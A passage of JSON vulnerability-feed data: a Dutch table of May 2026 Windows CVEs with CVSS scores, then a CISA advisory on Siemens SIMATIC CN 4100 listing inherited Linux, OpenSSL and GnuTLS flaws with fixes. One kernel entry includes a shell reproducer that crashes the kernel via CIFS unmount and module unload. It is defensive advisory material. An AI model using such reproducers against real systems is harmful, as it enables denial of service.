\n|----------------|------|-------------------------------------|\n\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-35438 | 8.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40402 | 9.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Rich Text Edit Control: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-32170 | 6.70 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33834 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-35424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-41089 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Storport Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34350 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-40397 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-35418 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-33835 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-34337 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - ICOMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33840 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-35417 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-35421 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Rich Text Edit: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-21530 | 6.70 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34351 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-35422 | 6.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-40399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-40405 | 7.50 | Denial-of-Service                   | \n| CVE-2026-40406 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40414 | 7.40 | Denial-of-Service                   | \n| CVE-2026-40415 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-33837 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-34334 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-40401 | 6.20 | Denial-of-Service                   | \n| CVE-2026-40413 | 7.40 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows LDAP - Lightweight Directory Access Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34339 | 5.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42825 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-34338 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-40382 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34329 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-33838 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-35419 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42896 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-34336 | 7.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Link-Layer Discovery Protocol (LLDP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34341 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-05-12T15:52:42.000000Z"}, {"uuid": "304ccb78-8ffa-4278-af56-0474688d9f1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21925", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-134-10", "content": "View CSAF\n\nSummary\n\nSIMATIC CN 4100 contains multiple vulnerabilities which could potentially lead to a compromise in availability, integrity and confidentiality. Siemens has released a new version for SIMATIC CN 4100 and recommends to update to the latest version.\n\nThe following versions of Siemens SIMATIC are affected:\n\n\n\nSIMATIC CN 4100 vers:intdot/<5.0 \n\n<div class=\"csaf-table\">\n\n\n\n\nCVSS\nVendor\nEquipment\nVulnerabilities\n\n\n\n\nv3 9.6\nSiemens\nSiemens SIMATIC\nNULL Pointer Dereference, Reachable Assertion, Use After Free, Out-of-bounds Write, Integer Overflow or Wraparound, Allocation of Resources Without Limits or Throttling, Out-of-bounds Read, Covert Timing Channel, Stack-based Buffer Overflow, Inefficient Algorithmic Complexity, Missing Release of Memory after Effective Lifetime, Improper Restriction of Operations within the Bounds of a Memory Buffer, Improper Input Validation, Improper Locking, Uncontrolled Recursion, Buffer Access with Incorrect Length Value, Race Condition within a Thread, Missing Synchronization, Use of Uninitialized Resource, Double Free, Missing Release of Resource after Effective Lifetime, Loop with Unreachable Exit Condition ('Infinite Loop'), Improper Update of Reference Count, Improper Control of a Resource Through its Lifetime, Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'), Unexpected Status Code or Return Value, Divide By Zero, Improper Validation of Specified Index, Position, or Offset in Input, Comparison Using Wrong Factors, Observable Timing Discrepancy, Improper Validation of Syntactic Correctness of Input, Deadlock, Signal Handler Race Condition, Improper Following of Specification by Caller, Improper Check for Dropped Privileges, Transmission of Private Resources into a New Sphere ('Resource Leak'), Improper Resource Shutdown or Release, Improper Access Control, Exposure of Sensitive Information to an Unauthorized Actor, Relative Path Traversal, Improper Neutralization of Escape, Meta, or Control Sequences, Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade'), Uncontrolled Resource Consumption, Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), Missing Authentication for Critical Function, Improper Check for Unusual or Exceptional Conditions\n\n\n\n</div>\n\nBackground\n\n\n\nCritical Infrastructure Sectors: Critical Manufacturing\n\nCountries/Areas Deployed: Worldwide\n\nCompany Headquarters Location: Germany\n\n\n\n\nVulnerabilities\n<div class=\"csaf-accordion\">\n\nExpand All +\n<div class=\"csaf-accordion-item\">\n\nCVE-2024-47704\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Check link_res->hpo_dp_link_enc before using it [WHAT & HOW] Functions dp_enable_link_phy and dp_disable_link_phy can pass link_res without initializing hpo_dp_link_enc and it is necessary to check for null before dereferencing. This fixes 2 FORWARD_NULL issues reported by Coverity.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2024-57924\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fs: relax assertions on failure to encode file handles Encoding file handles is usually performed by a filesystem >encode_fh() method that may fail for various reasons. The legacy users of exportfs_encode_fh(), namely, nfsd and name_to_handle_at(2) syscall are ready to cope with the possibility of failure to encode a file handle. There are a few other users of exportfs_encode_{fh,fid}() that currently have a WARN_ON() assertion when ->encode_fh() fails. Relax those assertions because they are wrong. The second linked bug report states commit 16aac5ad1fa9 (\"ovl: support encoding non-decodable file handles\") in v6.6 as the regressing commit, but this is not accurate. The aforementioned commit only increases the chances of the assertion and allows triggering the assertion with the reproducer using overlayfs, inotify and drop_caches. Triggering this assertion was always possible with other filesystems and other reasons of ->encode_fh() failures and more particularly, it was also possible with the exact same reproducer using overlayfs that is mounted with options index=on,nfs_export=on also on kernels < v6.6. Therefore, I am not listing the aforementioned commit as a Fixes commit. Backport hint: this patch will have a trivial conflict applying to v6.6.y, and other trivial conflicts applying to stable kernels < v6.6.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-617 Reachable Assertion\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2024-58240\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: tls: separate no-async decryption request handling from async If we're not doing async, the handling is much simpler. There's no reference counting, we just need to wait for the completion to wake us up and return its result. We should preferably also use a separate crypto_wait. I'm not seeing a UAF as I did in the past, I think aec7961916f3 (\"tls: fix race between async notify and socket close\") took care of it. This will make the next fix easier.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.3\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-6021\n<div class=\"csaf-accordion-content\">\n\nA flaw was found in libxml2's xmlBuildQName function, where integer overflows in buffer size calculations can lead to a stack-based buffer overflow. This issue can result in memory corruption or a denial of service when processing crafted input.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-6052\n<div class=\"csaf-accordion-content\">\n\nA flaw was found in how GLib\u2019s GString manages memory when adding data to strings. If a string is already very large, combining it with more input can cause a hidden overflow in the size calculation. This makes the system think it has enough memory when it doesn\u2019t. As a result, data may be written past the end of the allocated memory, leading to crashes or memory corruption.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-190 Integer Overflow or Wraparound\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n3.7\nLOW\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-7425\n<div class=\"csaf-accordion-content\">\n\nA flaw was found in libxslt where the attribute type, atype, flags are modified in a way that corrupts internal memory management. When XSLT functions, such as the key() process, result in tree fragments, this corruption prevents the proper cleanup of ID attributes. As a result, the system may access freed memory, causing crashes or enabling attackers to trigger heap corruption.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-8916\n<div class=\"csaf-accordion-content\">\n\nAllocation of Resources Without Limits or Throttling vulnerability in Legion of the Bouncy Castle Inc. BC Java bcpkix on All (API modules), Legion of the Bouncy Castle Inc. BC Java bcprov on All (API modules), Legion of the Bouncy Castle Inc. BCPKIX FIPS bcpkix-fips on All (API modules) allows Excessive Allocation. This vulnerability is associated with program files https://github.Com/bcgit/bc-java/blob/main/pkix/src/main/java/org/bouncycastle/pkix/jcajce/PKIXCertPathReviewer.Java, https://github.Com/bcgit/bc-java/blob/main/prov/src/main/java/org/bouncycastle/x509/PKIXCertPathReviewer.Java. This issue affects BC Java: from 1.44 through 1.78; BC Java: from 1.44 through 1.78; BCPKIX FIPS: from 1.0.0 through 1.0.7, from 2.0.0 through 2.0.7.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-770 Allocation of Resources Without Limits or Throttling\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.3\nMEDIUM\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-9230\n<div class=\"csaf-accordion-content\">\n\nIssue summary: An application trying to decrypt CMS messages encrypted using password based encryption can trigger an out-of-bounds read and write. Impact summary: This out-of-bounds read may trigger a crash which leads to Denial of Service for an application. The out-of-bounds write can cause a memory corruption which can have various consequences including a Denial of Service or Execution of attacker-supplied code. Although the consequences of a successful exploit of this vulnerability could be severe, the probability that the attacker would be able to perform it is low. Besides, password based (PWRI) encryption support in CMS messages is very rarely used. For that reason the issue was assessed as Moderate severity according to our Security Policy. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as the CMS implementation is outside the OpenSSL FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-9231\n<div class=\"csaf-accordion-content\">\n\nIssue summary: A timing side-channel which could potentially allow remote recovery of the private key exists in the SM2 algorithm implementation on 64 bit ARM platforms. Impact summary: A timing side-channel in SM2 signature computations on 64 bit ARM platforms could allow recovering the private key by an attacker.. While remote key recovery over a network was not attempted by the reporter, timing measurements revealed a timing signal which may allow such an attack. OpenSSL does not directly support certificates with SM2 keys in TLS, and so this CVE is not relevant in most TLS contexts. However, given that it is possible to add support for such certificates via a custom provider, coupled with the fact that in such a custom provider context the private key may be recoverable via remote timing measurements, we consider this to be a Moderate severity issue. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as SM2 is not an approved algorithm.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-385 Covert Timing Channel\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.5\nMEDIUM\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-9232\n<div class=\"csaf-accordion-content\">\n\nIssue summary: An application using the OpenSSL HTTP client API functions may trigger an out-of-bounds read if the 'no_proxy' environment variable is set and the host portion of the authority component of the HTTP URL is an IPv6 address. Impact summary: An out-of-bounds read can trigger a crash which leads to Denial of Service for an application. The OpenSSL HTTP client API functions can be used directly by applications but they are also used by the OCSP client functions and CMP (Certificate Management Protocol) client implementation in OpenSSL. However the URLs used by these implementations are unlikely to be controlled by an attacker. In this vulnerable code the out of bounds read can only trigger a crash. Furthermore the vulnerability requires an attacker-controlled URL to be passed from an application to the OpenSSL function and the user has to have a 'no_proxy' environment variable set. For the aforementioned reasons the issue was assessed as Low severity. The vulnerable code was introduced in the following patch releases: 3.0.16, 3.1.8, 3.2.4, 3.3.3, 3.4.0 and 3.5.0. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as the HTTP client implementation is outside the OpenSSL FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.9\nMEDIUM\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-9820\n<div class=\"csaf-accordion-content\">\n\nA flaw was found in the GnuTLS library, specifically in the gnutls_pkcs11_token_init() function that handles PKCS#11 token initialization. When a token label longer than expected is processed, the function writes past the end of a fixed-size stack buffer. This programming error can cause the application using GnuTLS to crash or, in certain conditions, be exploited for code execution. As a result, systems or applications relying on GnuTLS may be vulnerable to a denial of service or local privilege escalation attacks.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-121 Stack-based Buffer Overflow\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-14831\n<div class=\"csaf-accordion-content\">\n\nA flaw was found in GnuTLS. This vulnerability allows a denial of service (DoS) by excessive CPU (Central Processing Unit) and memory consumption via specially crafted malicious certificates containing a large number of name constraints and subject alternative names (SANs).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-407 Inefficient Algorithmic Complexity\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.3\nMEDIUM\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-23143\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: Fix null-ptr-deref by sock_lock_init_class_and_name() and rmmod. When I ran the repro [0] and waited a few seconds, I observed two LOCKDEP splats: a warning immediately followed by a null-ptr-deref. [1] Reproduction Steps: 1) Mount CIFS 2) Add an iptables rule to drop incoming FIN packets for CIFS 3) Unmount CIFS 4) Unload the CIFS module 5) Remove the iptables rule At step 3), the CIFS module calls sock_release() for the underlying TCP socket, and it returns quickly. However, the socket remains in FIN_WAIT_1 because incoming FIN packets are dropped. At this point, the module's refcnt is 0 while the socket is still alive, so the following rmmod command succeeds. # ss -tan State Recv-Q Send-Q Local Address:Port Peer Address:Port FIN-WAIT-1 0 477 10.0.2.15:51062 10.0.0.137:445 # lsmod | grep cifs cifs 1159168 0 This highlights a discrepancy between the lifetime of the CIFS module and the underlying TCP socket. Even after CIFS calls sock_release() and it returns, the TCP socket does not die immediately in order to close the connection gracefully. While this is generally fine, it causes an issue with LOCKDEP because CIFS assigns a different lock class to the TCP socket's sk->sk_lock using sock_lock_init_class_and_name(). Once an incoming packet is processed for the socket or a timer fires, sk->sk_lock is acquired. Then, LOCKDEP checks the lock context in check_wait_context(), where hlock_class() is called to retrieve the lock class. However, since the module has already been unloaded, hlock_class() logs a warning and returns NULL, triggering the null-ptr-deref. If LOCKDEP is enabled, we must ensure that a module calling sock_lock_init_class_and_name() (CIFS, NFS, etc) cannot be unloaded while such a socket is still alive to prevent this issue. Let's hold the module reference in sock_lock_init_class_and_name() and release it when the socket is freed in sk_prot_free(). Note that sock_lock_init() clears sk->sk_owner for svc_create_socket() that calls sock_lock_init_class_and_name() for a listening socket, which clones a socket by sk_clone_lock() without GFP_ZERO. [0]: CIFS_SERVER=\"10.0.0.137\" CIFS_PATH=\"//${CIFS_SERVER}/Users/Administrator/Desktop/CIFS_TEST\" DEV=\"enp0s3\" CRED=\"/root/WindowsCredential.txt\" MNT=$(mktemp -d /tmp/XXXXXX) mount -t cifs ${CIFS_PATH} ${MNT} -o vers=3.0,credentials=${CRED},cache=none,echo_interval=1 iptables -A INPUT -s ${CIFS_SERVER} -j DROP for i in $(seq 10); do umount ${MNT} rmmod cifs sleep 1 done rm -r ${MNT} iptables -D INPUT -s ${CIFS_SERVER} -j DROP [1]: DEBUG_LOCKS_WARN_ON(1) WARNING: CPU: 10 PID: 0 at kernel/locking/lockdep.c:234 hlock_class (kernel/locking/lockdep.c:234 kernel/locking/lockdep.c:223) Modules linked in: cifs_arc4 nls_ucs2_utils cifs_md4 [last unloaded: cifs] CPU: 10 UID: 0 PID: 0 Comm: swapper/10 Not tainted 6.14.0 #36 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014 RIP: 0010:hlock_class (kernel/locking/lockdep.c:234 kernel/locking/lockdep.c:223) ... Call Trace: __lock_acquire (kernel/locking/lockdep.c:4853 kernel/locking/lockdep.c:5178) lock_acquire (kernel/locking/lockdep.c:469 kernel/locking/lockdep.c:5853 kernel/locking/lockdep.c:5816) _raw_spin_lock_nested (kernel/locking/spinlock.c:379) tcp_v4_rcv (./include/linux/skbuff.h:1678 ./include/net/tcp.h:2547 net/ipv4/tcp_ipv4.c:2350) ... BUG: kernel NULL pointer dereference, address: 00000000000000c4 PF: supervisor read access in kernel mode PF: error_code(0x0000) - not-present page PGD 0 Oops: Oops: 0000 [#1] PREEMPT SMP NOPTI CPU: 10 UID: 0 PID: 0 Comm: swapper/10 Tainted: G W 6.14.0 #36 Tainted: [W]=WARN Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014 RIP: 0010:__lock_acquire (kernel/ ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later 